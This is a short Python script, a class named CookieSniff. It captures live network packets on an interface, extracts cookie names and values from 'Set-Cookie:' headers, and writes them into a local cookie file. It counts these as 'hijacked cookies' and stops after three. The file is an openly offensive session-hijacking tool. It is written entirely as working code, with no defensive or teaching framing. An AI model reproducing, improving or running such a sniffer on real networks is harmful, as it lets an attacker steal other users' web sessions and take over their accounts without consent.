import pcap
import string

class CookieSniff:

    def __init__(self, interface, cookie_file_name):
        self.dev = interface
        self.cookie_file_name = cookie_file_name
        self.num_hijacked_cookies = 0

    def __modify(self, name, value):
        file_handle = open(self.cookie_file_name)
        all_lines = file_handle.readlines()
        file_handle.close()

        for index in range(len(all_lines)):
            if '@'+name+'@' in all_lines[index]:
                split = all_lines[index].rfind('\t')
                new_line = all_lines[index][0:split] + '\t' + value + '\n'
                all_lines[index] = new_line

                file_handle = open(self.cookie_file_name, 'w')		
                file_handle.writelines(all_lines)
                file_handle.flush()
                file_handle.close()

                self.num_hijacked_cookies += 1


    def go(self):
        pcap_obj = pcap.pcapObject()
        pcap_obj.open_live(self.dev, 65535, 0, 0)
        while self.num_hijacked_cookies < 3:
            packet = pcap_obj.next()[1] # pcap_obj.next returns a (pktlen, data, timestamp) tuple
            if 'Set-Cookie:' in packet:
                seed = 0
                while True:
                    seed = packet.find('Set-Cookie:', seed)
                    if seed == -1:
                       break

                    begin = seed +12
                    end = packet.find('=', begin)
                    name = packet[begin:end]

                    begin = end +1
                    end = packet.find(';', begin)
                    value = packet[begin:end]

                    self.__modify(name, value)	

                    seed = end
#EOF
